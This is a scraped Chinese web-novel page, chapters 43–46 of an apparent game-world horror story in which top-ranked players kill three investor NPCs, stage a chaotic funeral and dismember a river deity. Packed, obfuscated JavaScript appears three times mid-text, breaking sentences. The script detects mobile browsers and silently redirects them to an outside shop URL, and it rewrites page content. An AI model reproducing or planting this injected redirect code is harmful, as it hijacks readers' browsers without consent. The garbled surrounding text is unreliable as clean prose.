紧接着拿出下一本…… ‘词典?’ 对于过目不忘,看过就会的青年来说,有时候学会一门外语是件很突然的事。 比如现在。 厄洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512205|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺斯放下自己手里已经背完的当地旅行观察指南,拾起那份被段心慈放下的小镇地图,正反各看了一秒。 卡利安·尤菲随手翻了翻手里的《安图兰:民俗与传说》。 目光恰巧落在其中一页上,鲜红的【河主祭】标题十分显眼。 真正让他驻足的却是【河主祭】下方的一小行日期: 王国历,夏季月,14日-16日。 而今天,如果列车上的数码显示屏没出错的话…… 已经是7月11日。 ‘要说吗?还是……’ 卡利安抿了抿唇,装作有意无意地将书本在这一页倒扣,放在一个算得上明显的位置。 维利亚·涅挪拾起一本被放在最上面的旅行观察指南,却发现很多页数都被乱糟糟地折在一起。 然而当她将那些纸张打开,折痕变成了划线和明显交汇的点—— P5十一行折痕:镇民夏季不食鱼,全年不食鱼苗。 P19三十三行折痕:一楼不住人,屋顶坡度较大,夏季强降雨。 P36十六行交点:特殊的鱼饲——羽料。 P55二十四行折痕:有记载洪涝灾害1次,镇民死伤过半。 P74一行交点:【伊鲁米尔】-赞歌。 P120三行…… 【死者】捧着书的手臂,有片刻战栗。 ‘看他们这群可怜虫啊…注定要走到生死博弈的对立面。’ ‘偏偏在绝境里,被死亡亲手残忍地教会濒死温存。’ 他们做不到信息共享,这几乎等同于宣布任由宰割。 ‘但……折纸。’ ‘……也只是折纸而已。’ 几乎是飞速地阅览完毕,顺着那些痕迹将折纸复原,放回原处 维利亚·涅挪的内心在尖利的哀鸣,手中折下第一个尖角。 她认命地意识到,在真正殊死较量到来前,自己无法讨厌这份温存。 于是等宋鹤诚终于肯屈尊亲自来找自己的好员工时…… 只在报刊亭外围找到了一群心思各异,动作爽利的折纸艺术家。 而玩家们,也在此时确定了第四幕副本里大概率会发生的事件: 【河主祭典】。 这里曾经的镇民信奉河主【伊鲁米尔】。 【伊鲁米尔】在王国通用语里被翻译为‘富饶之河’或‘哺育万物的母亲’。 每逢夏季月中,镇民们会家家户户聚在河道旁主持‘河主祭典’。 他们通过河水中罗摩鱼的鱼鳞颜色来判断月中抵达的日子。 不是没有日历,只是他们明显更信任罗摩使者。 在寻常日子里,罗摩鱼无一例外鱼身鲜红,仿若滴血。 而在三个夏季月(7、8、9)月中的前一天,罗摩鱼鲜红的鱼鳞会褪为浅浅的粉色。 鱼群摇曳在清透见底的河流中。 那天镇民会筹备好祭典当日所需的彩纸船,许愿河灯以及专门投喂有‘河主使者‘之称的罗摩鱼的禽类生肉。 那些禽类生肉有一个专门的称呼: 羽料。 所有的羽料加起来也不过刚好装满一个半人高的鱼篓子。 届时镇民每人只许在这鱼篓子里抓上一把,来投喂罗摩鱼。 有一则在安图兰小镇里广为流传说法是: 祭典当日,纯白无暇的罗摩鱼吞食谁人扔入河中的羽料…… 谁人的愿望就会被河主大人注意,并在未来的某一天以一种绝不可能的姿态应验。 当然,在很多版本里,这只是一种相对具有神秘色彩的说辞。 幸运的是这次副本大概率与缸中脑无关(不止段心慈这么猜)。 不幸的是,他们大概率依旧会碰上神灵类BOSS—— 比如河主。 44.辞职也是门艺术 “上午好,远道而来的朋友们。” “我是宋鹤诚。本次雇佣你们的老板之一。很高兴,看到你们如约来到这里。” “这说明你们都是守信,并值得我付出信赖的好员工。” 宋鹤诚面容儒雅,话语开明,带着中年成功人士特有的亲和力。 平心而论,这是很容易让人产生好感、亲近的类型。 但TOP榜的玩家们都过了轻信NPC的年纪。 “或许,我们还需要见见其他投资商。” ‘毕竟任务里提到,一共有三位所谓老板。’ 忒尼斯借此顺理成章地放下手里令狐蛇脑袋晕晕的经济报刊。 那玩意就算被折角,她也不想看。 中年人依旧是春风和煦的姿态:“是我疏忽了。” “大家都在镇旅馆的3楼等你们,先走吧。” ‘你们的折纸艺术死后进行也来得及。’ 宋鹤诚面上的笑容依旧无懈可击。 玩家们跟着雇主NPC来到旅馆,路过满是灰尘的餐区、后厨…… 没有丝毫停留的意思,宋鹤诚直接带着这些员工走上三楼。 通过灰尘的厚度可以推断这里有整整八年没什么人来过。 这就是TOP榜玩家的职业素养。 楼梯吱呀作响,在空旷的房屋内显得突兀刺耳。 宋鹤诚好似感受不到气氛的诡异,走到门牌号为201的房门口掏出钥匙。 在钥匙串的哗啦作响里,房门被推开。 烟草呛人的气味瞬间涌出,缭绕的烟雾几乎填满了整间房。 一个身着正装革履,瘦得有些不正常的男人瘫在沙发上,目不转睛地盯着头顶旋转的风扇吊灯。 风扇卖力地,吱呀吱呀地转着,却打散不了凝固闷热的空气。 唯一一张老板椅,是一个中年男人在坐着。 他大腹便便,身上肥肉几乎要多得溢出。 那张油光满面的脸扫过玩家,最后对宋鹤诚露出一个意味不明的笑。 “老宋,还是你办事我放心。” 中年女人推了推脸上的眼镜:“碰巧路过,就带上来了。” 宋鹤诚来找他们的样子可不像碰巧。 玩家们心中有数,谁也没有拆穿。 “那位是马元俊,马老板。” 宋鹤诚目光移向躺在草席沙发上的干瘦男人,抬了抬消瘦下巴:“他是方程,也是本次雇佣你们的老板之一。” 这时候,方程终于愿意发出点动静。 那对白茫茫,甚至有些发青的眼珠缓缓移向门口,说出玩家进门后的第一句话: “……让他们,滚。” 一众玩家:“……” 如果不是副本,他们也不想来的。 宋鹤诚脸上阴沉一闪而过。 她上前一步钳住方程满是褶皱的手腕,眼镜背后一双锐利的鹰眼深深凝视着方程几乎看不见瞳孔的眼珠—— “你糊涂了。老方。” 方程嘴唇嗫嚅着,他大概是想说什么的,最后却在宋鹤诚洞悉一切的目光下泄力地重新瘫回沙发。 他斗不过马元俊那坨肥肉,也斗不过宋鹤诚这个精神病。 宋鹤诚转身再次面对玩家,面上带笑:“方老板这些年身体每况愈下,这次来这里也是为了寻一个山清水秀的地方安度晚年。” “他老糊涂了,还希望你们不要介意。” 能对着窗外漫天沙土说出山清水秀这个词,宋鹤诚也是个睁眼说瞎话的。 就在这时,玩家耳边响起系统的声音。 【????发布任务:为三位老板寻找一个安度晚年的宜居地。】 【已为玩家自动接取该任务。】 这还是他们闯关这么久,遇到的第一个任务。 还是强制接取。 事实上眼下才是他们最熟悉的通关方式—— 剧情,地图,NPC以及任务。 玩家们点点头,没有明说介意与否。 老板椅上,马元俊再次点燃一根香烟,大口大口地吸起来。 烟灰抖落在皮质扶手上,烫出一个又一个的小坑。 宋鹤诚脸上仍然在笑,心里却把马元俊骂了个狗血淋头。 ‘蠢货,抽不死你。’ 玩家们脸色也不好看。 在没确定马元俊有没有掌握通关必要条件时,他们不能直接杀死NPC自断后路。 一刻钟后,不知道第多少根香烟燃尽。 马元俊终于大发慈悲地挥挥手:“安排这些神棍的事就交给你了,老宋。” 神棍们:“……” 看着那张滋润得能刮下油脂的脸,宋鹤诚突然舒展开一个笑:“那房间我就都安排在楼上了。” 马元俊没搭理她,宋鹤诚就给玩家们使了个颜色。 众人鱼贯而出。 离开二楼,所有玩家都难得统一地认同,空气清新了不少。 【生者】嘉里亚·涅挪是脸色最差的那个。 二手香烟的味道闻得他想吐。 “你自己抽的时候也没见你这么矫情。” 维利亚语重心长地拍了拍弟弟的肩膀。 “……” 嘉里亚有些哽咽。 他吸吸鼻子,看起来楚楚可怜:“……我以后不抽了。” ‘如果这时候告诉姐姐自己从来没抽过烟,点燃的都是火药粉末……’ ‘那下场可能会更凄惨些。’ 嘉里亚·涅挪明智地选择闭嘴。 显然维利亚并不相信从弟弟嘴里蹦出来的话。 【死者】不予理会屡教不改的【生者】,转而换了个话题:“那个任务你们怎么看?” 【匿名】在所有人前积极举手,自信抢答:“我知道,我知道。” “杀了就好!” “到时候找个地儿一埋,风情水秀…满不满意还不是咱们说了算。” “也不是不行。”忒尼斯·厄洛诺斯沉思:“反正看样子也不像能活很久的样子。” “下手前把消息套出来就够了。” 谢挽非有些震惊,但不多:“安度晚年呢?就算字面解释也是安详度过晚年吧?” 波绪拿平平淡淡:“那就下致死量安眠药。” 仅仅三分钟不到,这个完美的方案最后通过了全员的认可。 首先,要有块墓地。 这可以现挖。 其次,准备适量安眠药不知不觉灌下去。 系统商城里就有。 实在不行他们还可以自己提炼。 最后,把沉睡的投资商们扔进墓地。 一击必杀,盖棺定论。 【匿名】双手捧脸,看不清五官的脸上浮现两团红晕:“他们好幸福。” ‘好羡慕啊!’ ‘……彻头彻尾的无知者。’ 其余玩家默默离他远了些。 【匿名】的法子虽好,却架不住本身是个不清醒的精神病。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512279|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 完美计划止于7月12日,也就是第二天清晨。 马元俊死了。 死相极其惨烈。 据宋鹤诚解释,他是被年久失修的旋转风扇吊灯砸下来,生生割断脖颈大动脉…… 最终失血过多而死。 那双被厚重油脂包裹的眼珠,死前固执地盯着大门的方向。 听到这个消息的玩家,看见任务栏里待完成的任务:“……?” 宋鹤诚来敲门的时候脸色并不好,但也没有失态。 “你们要去看看吗?” 话虽如此,却不像会给他们拒绝机会的模样。 副本规则说:员工不能拒绝老板的任何要求。 极致的沉默里一行人走下楼。 201的房门大开,马元俊僵硬的尸体大剌剌地躺在沙发上。 草席,地板墙壁以及吊顶,被大片泼溅的血液泼溅。 地毯上还有不知从何处而来的污垢。 湿黏的泥泞从房间里蔓延到楼梯口,并且一直向下延伸。 夏季,又是整整一夜的密闭环境。 房屋里弥漫着一股呛人的烟味混合着浓郁的尸臭。 仔细看,在尸体脖子断面已经有细小的蛆丝在蠕动。 段心慈上前摸了摸脖子断面,手下的触感凹凸不平。 与其说是被风扇切断,倒不如说…… 像是细密却并不锋利的牙齿一点一点磨下来的。 但从伤口四周的瘀血来看,更像是……蛮力砍凿造成? 凶手一击必杀,完全没有多余的伤口。 宋鹤诚旁观着员工的动作,没有阻拦。 事实上,她完全不相信什么电风扇砸死人这样的说辞。 但没关系,方程相信就够了。 谁管他是不是自欺欺人? 【匿名】颇为遗憾地看着马元俊躺在地上的尸体,长叹一声。 是个没福气的。 忒尼斯·厄洛诺斯站在段心慈背后看了一会儿,走到青年身侧蹲下身幽幽问道: “看出来什么了?” 段心慈:“……死于…钝齿咬断。” 狐蛇的目光移到脖颈的断口处,瞬间了然。 马元俊的尸体给玩家们一种古怪的感受。 这的的确确是一具全无生机的尸体没错,但其中却有细微的活性。 这让她想到一个词: 寄生。 那双墨灰的眼瞳不由得将视线移到那些污泥上。 段心慈两指并拢,从地板上蹭下一些泥浆举到眼前。 这实在是再正常不过的淤泥了。 泥浆、粘土、水分、微生物…… 还有垃圾。 长发青年动作一顿:“……” 她突然想到,如果是灵异类的,分析这些就是多此一举了。 所以还是快点结束吧。 “我要辞职。” 段心慈站起身拍了拍手套上的污渍,对宋鹤诚说。 【匿名】疯疯癫癫的,但不可否认有时候确实会产生奇效。 说出这句话的时候,她有一种莫名的愉悦。 很可能是TOP当久了的后遗症。 宋鹤诚因突如其来的辞职通知愣了一下。 就在刚才,她还以为这人会给出一份有理有据的尸检推论。 不给对方斡旋的机会,段心慈继续道:“现在只是面试阶段,理论上我并非你的员工。” “所以辞职只是通知。” 45.过往里旧债难偿 “……好。” 宋鹤诚大概也是头回见到这么快辞职的员工。 其他玩家也反应过来: 员工身份受限制。直接从根源解决,辞职是最好的办法。 谢挽非立即紧随其后,声情并茂开口:“我也辞职。” “第一天就发生了这么……”她抹掉说流就流的眼泪:“总之,我不想待在这里了。” 说完,少年夺门而出,奔下楼梯。 其他玩家见状也纷纷宣布辞职,假装去追谢挽非。 一眨眼的功夫,201房间里只剩下段心慈和宋鹤诚面对面。 宋鹤诚:“……” ‘天真的家伙们,居然以为辞职就能逃开厄运吗?’ ‘不,这只会让他们举步维……’ “?” 宋鹤诚咽了咽唾沫。 她艰难低下头,看见一把不知何时架在自己脖颈上的,锈迹暗红的厨刀。 鲜血顺着刀刃,缓缓下滑。 “这把刀……你从哪里拿的?” “后厨。” 温热的血顺着刀刃滑落,面前的人对她露出一个森寒癫狂的笑。 然后,骤然发现自己有点像变态的段心慈:…… 她试图在心底说服自己肌肉记忆和主观意识是两码事。 “现在你可以把你知道的全都告诉我了。” 猜猜谁是BOSS的游戏,青年从来不感兴趣。 “缪卡拉是谁?” 她一向喜欢速战速决:“八年前到底发生了什么?” 刀锋压进血肉,越发刺痛。 听到缪卡拉这个名字的瞬间,宋鹤诚面色青白,浑身冷汗。 伴着段心慈的提问,她全身僵硬,忆起此生最不愿意见到的悚然噩梦。 ……时至今日,绝望的三日仍旧历历在目。 “八年前…我们三人欠下债……” “……” * 与此同时,旅馆一楼。 除了涅挪姐弟,剩下的玩家决定抽签临时分成三组,在安图兰镇探索。 “要不要猜猜你……TOP在干什么?” 【织觉人】抽签的同时,试图勾住艾里门·歌德的肩膀套近乎。 不幸失手。 艾里门·歌德避开她的触碰,语气不善:“……还能干什么?” ‘副本NPC,除了问话后杀掉,段心慈还能干什么。’ 忒尼斯·厄洛诺斯想想也是。 这会儿与其想段心慈在做什么,倒不如自己去做点什么。 “倒是你,问这个问题。” 艾里门怀疑地上下打量忒尼斯:“你该不会……” “现在就想杀死段心慈?” ‘这种好事不能让忒尼斯抢到手。’ “……对。” 狐蛇微笑:“你有什么好主意吗?” 艾里门双手抱臂,态度恶劣:“没有。” 忒尼斯:“……” 低头看着自己手里和艾里门一样颜色的签子,厄洛诺斯的家主扔了签子转身就走。 ‘波绪拿到底是怎么看上和【地母】合作的?’ ‘利益长存?’ 她看是利益归零还差不多。 就这样,抽签计划被彻底打散。 盯着【织觉人】离开,去往镇中心的背影,艾里门·歌德神情阴鸷。 * 【摇篮】波绪拿无意参加那些混乱的糟糕关系。 墨绿短发的青年独自沿着黏腻的淤泥走到一处河床,站在河堤高处向下看去—— 干涸龟裂的土地在她眼中却是另一幅景象: 密密麻麻的咽齿在鱼眼构成的淤泥里无规律摆动…… 时不时有气泡从淤泥里冒出,散发着作呕的腐烂气味。 “……” 面对此情此景,那副还能再睡三百年的脸上毫无波澜。 抱着睡帽靠在就近一棵塌倒枯树上,波绪拿在阴影里昏昏欲睡。 ‘好像有个NPC在乱逛……’ ‘算了,那和我有什么关系?’ 反正那些东西暂时也爬不上来,她就躺在这儿了。 这不是偷懒—— 这是合乎常理的,以逸待劳的战略。 河床:…… 波绪拿很快陷入梦乡。 梦境里一开始只有冰冷黏稠的河水…… 随着意识缓慢下沉,视野逐渐变得漆黑一丝光线也无。 就在这时,一头庞大的白色鱼影一闪而过。 无意去追寻那道转瞬即逝的鱼影。 就在波绪拿打算恰逢其时地做个梦中梦时,黑暗里,她突兀地对上单只直径约有三米高的鱼眼。 惨白而浑浊鱼眼,好似被柳絮塞满。 因无法分辨眼白与眼黑的界限,【摇篮】甚至没能在第一眼见到时认出这究竟是个什么东西。 庞大的眼珠在鱼眼眶中转动,发出血肉摩擦的黏腻水声。 思维开始变得恍惚,层层叠叠的浪潮声出现在脑海中。 幻景在波绪拿的眼底倒映: 庞大的白鱼从粼粼波光中一跃而起,尾纱遮蔽了皎洁的月亮。 于是月光消失,视线中只余下一片朦胧的纯白。 她逐渐忘记自己是谁,又为何身处此地。 冰凉的水珠溅落在脸上,有谁恍惚地伸出手,想触摸那纯白无暇的鳞片。 “缪……” 有些古怪的音调从自己的身体里跑出来:“…你的…咕噜……愿望………” ‘不!’ ‘…我不是祂!’ 波绪拿猛地睁开眼。 烈日下冷汗浸透了睡衣,她下意识攥紧了手里的海螺睡帽。 ‘……居然能……仅凭意志挣脱吗?’ 河床上,密密麻麻的鱼眼转动。淤泥发出低沉、语义不明的呢喃。 ‘祢的愧疚……又是什么?’ * 另一处。 【匿名】见【虔诚者】正要离开,于是上前一步伸手拦住了卡利安的去路。 “我们排名都是垫底,不如一起行动?” 说着,【匿名】面上带笑,试图拽过卡利安的手腕。 卡利安及时后退一步,他抓了个空。 “…好啊。”/“我不会害……” “居然答应了啊!” 【匿名】看不清五官的脸上浮现出一团害羞的红晕:“谢谢……真的非常、非常……” “感谢。” “……” 卡利安的眼睛看不见,但不代表没有别的方式视物。 但…… “…不客气。” * 旅馆-201房间。 玄发青年漫不经心地拭去刀身上的血。 躺在脚边的,赫然是宋鹤诚死不瞑目的尸体。 头颅后仰,俨然是被一刀割断了脖颈。 喷溅的新鲜血液与马元俊腐烂的血混合在一起,地板上的淤泥正在疯狂的吞噬着血液。 段心慈对身旁发生的怪诞完全无动于衷。 中年人到死除了最开始的那句话外,半个字也没说。 但是没关系。 只要把副本里除了玩家之外的活物都杀光就够了。 这才是玩家首席最熟悉也最擅长 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方程完全注意不到周围的一切,更注意不到自己身后拎着厨刀的段心慈。 那对白茫茫的眼球里仿佛只剩眼前这条干涸的河道。 “上天啊!不不不……【伊鲁米尔】……” “【伊鲁米尔】!富饶之河!哺育万物的母亲!我恳请您,网开一面……那件事我是不知情的!” 方程满面绝望,跪在赤色的沙土地上:“我不曾杀过人啊!” “我这一生都不曾做错过什么!也从未做过恶事……” “【伊鲁米尔】的河主啊!!如果您有灵,就请实现我的愿望吧!为此我愿意献祭宋鹤诚的性命!” “不!这些还不够!我可以把那些恶行累累的罪犯献祭给您!” 拎着厨刀的段心慈:“……” 附近被迫听了一耳朵的波绪拿:“……” “我只求不要死去!我年轻!我还有钱!我可以在此地长久供奉,筑建您的庙宇啊!” “八年前缪卡拉能做到的,我一样能做到!” 赤色的大地开始颤动。 随着‘缪卡拉’一词从中年人口中落下,先是地面在剧烈震颤—— 紧接着是滔天巨浪。 浑浊的河水如同千军万马,从遥远的,看不见尽头的河道东方奔袭而来。 起先只是一道白线,接着越来越近。 浪潮带着河水的腥臭与一股黏腻恶心的味道,涌进原本龟裂干涸的河道。 ‘缪卡拉’三个字像某个难以言明的魔咒,魔咒召唤了这面容可憎可怖的河水。 方程跪在河岸边又哭又笑。 他知道,宋鹤诚说对了。 他们的债,唯有死去才能还清…… 可是他还不想死! 刻骨的剧痛袭来,方程陡然瞪大眼睛。 一把锈迹斑驳的厨刀从上至下劈进方程的后颈。 段心慈侧身躲过飙溅而出的鲜血,将刀抽出。 失去支撑的尸体跌进滔天河流,奔涌的河水吞噬了一切。 至此,三位投资商身亡。 【????发布任务一:为三位老板寻找一个安度晚年的宜居地。】 【完成进度:1/3】 【????发布任务二:为剩下两位投资商举办一场满意的葬礼。】 【已为玩家自动接取该任务。】 46.我们都旧罪难赎 如果是T.T-Carro在,它一定会相当擅长任务二。 但现在【暴食】被禁赛,其余玩家们对葬礼明显都算不上精通。 一群玩家只能围着地上的两具尸体讨论—— 波绪拿属于就事论事:“葬礼,首先需要棺材和墓碑。” “还需要鲜花,掌声和彩带。” 【匿名】补充道:“以及旋转发光的立体生平介绍。” “……也许还需要配乐。但我不会拉小提琴。” 狐蛇目光飘忽。 如果【暴食】在就好了,它很擅长用尾巴拉小提琴。 “我会拉小提琴。” 谢挽非提议:“但如果他们更喜欢唢呐就糟了。” 【屠夫】挠挠头:“那我们可能还需要纸钱、白幡、香烛、纸扎艺术品和……” “花圈。” 他没说,自己很喜欢纸扎小狗。 “为什么不是木船、火箭以及神射手?” 维莉亚·涅挪决定为自己喜欢的葬礼仪式小小挣扎一番。 嘉里亚惊了一下。 他没想到老姐居然喜欢这种类型的。 【生者】有些激动:“应该把他们的头骨镀银,制成酒杯。” 【死者】认真纠正弟弟:“……那是对待战俘的。” “还可以是内脏罐子,树脂亚麻布和尸体脱水技术。” 艾里门·歌德玩着手里的枯枝,给出不一样的意见。 卡利安·尤菲抽了抽嘴角。 他觉得自己不需要再提出任何意见,毕竟现在已经够乱了。 段心慈一锤定音:“那就全办。” 大不了就是诈尸。 再杀一遍也无伤大雅。 如果不是这里的副本百分之一百不需要太空丧葬,她高低要搓出一架宇宙飞船来。 反正自己也不是很懂葬礼。 在所有玩家的积极筹备下,一场乱七八糟的葬礼开始了。 该庆幸代号十的系统商城东西足够齐全,从棺材到乐器再到尸体脱水技术一应俱全。 甚至有【匿名】提到的3D全息投影仪。 谢挽非小提琴拉得像锯木头,甚至隐隐胜过嘉里亚·涅挪负责的唢呐。 飘飘扬扬的纸钱被【匿名】扔得到处都是,只有两三片飘落到棺材上。 段心慈擅长热兵器也擅长冷兵器,但火箭这种不冷不热的她还是第一次接触。 总之,所有玩家都没有失误。 望着棺材小船被火焰点燃,最终散架消失在伊鲁米尔河流中(岸上土葬三角坟堆里埋的是内脏罐子和镀银头骨)玩家们倍感满意。 看得出那名暗中窥视的任务发布者也十分满意。 【????发布任务:为三位老板寻找一个安度晚年的宜居地。】 【完成进度:3/3】 【????发布任务:为两位投资商举办一场满分的葬礼。】 【完成进度:2/2;任务评分:满分】 葬礼大乱炖看得屏幕外的观众只觉猎奇,但当事玩家纷纷自我感觉良好。 * 倘若一条河流站起身。 在这一幕发生前,很多生灵是根本无法想象这一幕的。 浑浊的大河逆流而上,汇聚成滔天巨浪。 无数相貌怪异的鱼类在河流黏稠的躯体里游动,渐渐汇聚出一具磅礴的躯体。 “……你们……很好。” 低沉浑厚的女声似鱼尾搅动水流,又似巨浪高高砸下。 【伊鲁米尔】叹息一声:“…好到,我足够为你们破例。” 不知何时,高悬的烈日被一轮惨白的满月覆盖。 月中之夜提前降临。 这不是【伊鲁米尔】第一次作为BOSS阻拦玩家,却是祂第一次心甘情愿走向死亡。 ‘……凡由祢终结的,将获得真正的新生。’ ‘对吧,死亡之神。’ 许多玩家都诧异于首席为何总是拉仇恨的的那个—— 不止是玩家之间,就连副本BOSS和各种小怪NPC也是如此。 如果段心慈在场,一定是最先受到攻击被集中围殴的那个。 青年自身对此适应良好,但注意到这点的玩家无一不感到奇怪。 ‘恨,真的能到达抛弃自身性命的程度吗?’ 就比如此时此刻。 浑浊的磅礴河流完全忽视了其他的存在。 【伊鲁米尔】屠刀高举,从上至下径直劈向段心慈。 青年甚至能看清屠刀上密密麻麻的咽齿、鱼骨与各类尸骸,带着呼啸的风和河流的威势压向自己。 她不躲不闪,挡开刀背,借力一蹬跃至上空。 三位投资商的血迹早已从厨刀上拭去。 唯有那干涸了两千九百个日夜有余的血液与铁锈凝在一起,无法抹除。 刀柄被紧紧握在手中。 八年前饱经风沙的那把刀依旧快的出奇。 它轻而易举地划开【伊鲁米尔】的躯体。 但那由无数尸骨拼合出的洪流很快再次聚拢,并再次挥起屠刀向年轻的神祇砍去。 在段心慈的注视下,【伊鲁米尔】伤口里淌出少数黏腻的暗绿血污,随后迅速愈合。 “……” 很多时候,BOSS是作为验证玩家推理正确而出现的‘奖品’。 在大部分推理正确的时候找到杀死BOSS的方式并不难。 至少对于这群TOP榜上的家伙来说,轻而易举。 但【伊鲁米尔】出现的太早,导致他们副本信息严重缺失的情况下直接对上BOSS。 忒尼斯·厄洛诺斯攥紧掌心。 这无疑是一个消耗段心慈的机会…… 手中是一封在镇长大楼办公室里找到的,八年前的遗书。 狐蛇的三颗心脏不安分地撞击着胸腔,震得忒尼斯无比烦躁。 她不耐烦地拽过身旁还在睡梦中的七号,将遗书拍进她手里:“念。” 波绪拿:“……” 低头翻了翻手里的遗书,她只想快点再次进入梦乡。 然而面对隐隐催促的忒尼斯,【摇篮】只能面无表情地朗诵起来: “河主【伊鲁米尔】,此地的富饶之河,我那哺育万物的母亲,崇高在上,请聆听您子民最深切的忏悔。” “大点声。” 忒尼斯不满。 波绪拿从善如流地掏出葬礼上用到的大喇叭,声音之大就连打得不可开交的二位都震了震—— “我的过错,已经不能被纸笔书写。一切都为时已晚,” “我悔过,我的罪业。” “我背离母亲,转而侍奉金钱1。无颜再次许下愿望。” “又对缪卡拉…那无辜之人……” “做出由魔鬼蒙蔽心智才做出的行径……【罗摩使者】所视,皆是我犯下的血债。” “这是我的罪,最终无可宽恕。” “贪婪招致灾殃,这灾殃会毁灭一切。” “镇长-图格 愧对……,以死谢罪 ” 如果说听完这封信前【伊鲁米尔】是一条温吞的河流,那么这一刻祂彻底变成了狂躁的浪潮。 沉重的屠刀在祂手中得心应手地砍向段心慈。 艾里门·歌德见状,手中的树藤如疾风骤雨,盘旋生长着砸向狐蛇。 那双深棕色的眼中杀意毫不掩饰—— “你做了什么?!” 忒尼斯后退一步,无所谓道:“与其问我做了什么,还不如想想那封遗书里有什么线索。” “线索?” 艾里门冷笑:“要她命的线索?” 眼见这两位已经打起来,其余玩家都退得远远的。 零个玩家想做城门失火殃及池鱼的那条鱼。 “……” 站在安全地带,谢挽非的思维飞速运转:‘如果段心慈在这里浪费太多时间,显然是一种损失。’ 有更好的选择的时候没谁愿意选次一等的。 ‘乍一看只是封很正常的绝笔信。’ 少年拼命梳理信里的内容:‘名为图格的人应当是因钱财,犯下罪……’ ‘他信中所述似乎与先前提到的缪卡拉有关。’ ‘换言之,他很可能是伤害缪卡拉的直接凶手,因此报应来得过快,在八年前就死了。’ ‘旅店里的三位投资商反而是次要的,间接的罪业。’ ‘事后他向当地信仰的神明,也就是河主【伊鲁米尔】祈祷、忏悔。’ ‘不管是内心折磨还是神明惩罚,这个人最后自尽谢罪了。’ ‘信里唯一需要注意的信息就是——’ “【罗摩使者】。” 一个值得注意的线索。 “…【罗摩使者】所视……皆是我犯下的血债。” 谢挽非喃喃自语… 这实在是一句写意抽象的话。 “究竟是强调【罗摩使者】在此地无所不知的权能,还是说这仅仅是一句写实的话语?” “又或者两者皆有?” 旅行指南里提到的罗摩鱼…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514746|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使者,所视……皆是我犯下的血债…… 所视……所视…… 如果将罗摩使者替换为罗摩鱼……罗摩鱼所视皆是我犯下的血债? “分尸……投河?!” 少年金色的瞳孔微微放大。 她从来相信自己的判断。 好消息:线索找到了。 坏消息:需要把【伊鲁米尔】剁成碎块。 “段心慈——” 谢挽非一把夺过波绪拿手里的喇叭,大声喊道:“分尸!分尸——” “缪卡拉死因是——” ‘分尸……?’ “?” 谢挽非突然愣住了。 眼前的【伊鲁米尔】几乎是在她喊出分尸后的下一秒,就在如网织的刀光里骤然裂成无数碎块。 再也没有重新聚合的可能。 段心慈甩掉菜刀上诡异的黏液,垂目盯着谢挽非:“什么缪卡拉的死因?” 她听谢挽非说分尸,还以为是需要把【伊鲁米尔】分尸。 这孩子说的没错,分尸【伊鲁米尔】的确是通关的正确方式。 谢挽非在震撼的沉默里一言不发。 她第一次意识到,人极端恐惧下是发不出声音的。 不过,少年也由此意识到了自己身为【主角】的另一个天赋—— 我所说……无巧不成书。 在场多数玩家陆续低头,希望自己能被这位杀神无视。 ‘原来先前的两刀只是随便切切吗……’ 瞬杀副本BOSS确实是一件再轻而易举的事了。 仅对段心慈而言。 死一样的静默里,就连系统的通关提示都显得格外刺耳。 列车驶来的声音由远及近。 夜空里,惨白的月光染血,再也洗不净。 和来时不同,这辆列车崭新洁净,浑身充满了科技感。 走进车厢也是如此。 死寂的餐车里,玩家们都一言不发。 【匿名】终究是个安分不下来的。 他指节轻抬敲了敲桌面:“怎么没有晚餐?” 坐在他对面靠门位置的卡利安·尤菲盯着那只手看了一会儿。 他有时候会觉得那是一节触肢、鳞爪、鱼鳍、……? 也确确实实有人类的部分。 【匿名】注意到【虔诚者】的目光,抬起头对卡利安笑了一下。 不轻浮,不湿黏,不暧昧。 反倒惊悚。 列车即将启动。 “卡利安·尤菲。” 他咀嚼着这个名字,好像在品尝什么烂掉的佳肴。 卡利安抬起头,像只任由宰割的羔羊。 10。 9。 8。 7。 6。 5。 4。 “卡利安·尤菲。” 【匿名】的低语如同池底招摇的水藻,难以察觉的滑腻柔软的细丝涌向卡利安·尤菲。 脸上是刻板、模糊的笑。 【匿名】拉过盲眼青年的手腕,将他带到车门前。 3。 2。 1。 ‘……’ “祢问心有愧。” ‘祢该死!!’ 在所有玩家都没来得及反应前,【匿名】动作利索地将【虔诚者】推下轨道。 卡利安·尤菲跌出车门。 下一秒,车门闭合,列车驶离。 残破的断肢与鲜血溅满八号车厢的车窗。 “……” “我不是故意的。” 【匿名】擦了擦指尖,对周围玩家抱歉地笑笑:“只是有些紧张,手滑了。” 一群玩家下意识看向【织觉人】。 “看我干什么?” 忒尼斯·厄洛诺斯满脸震惊。 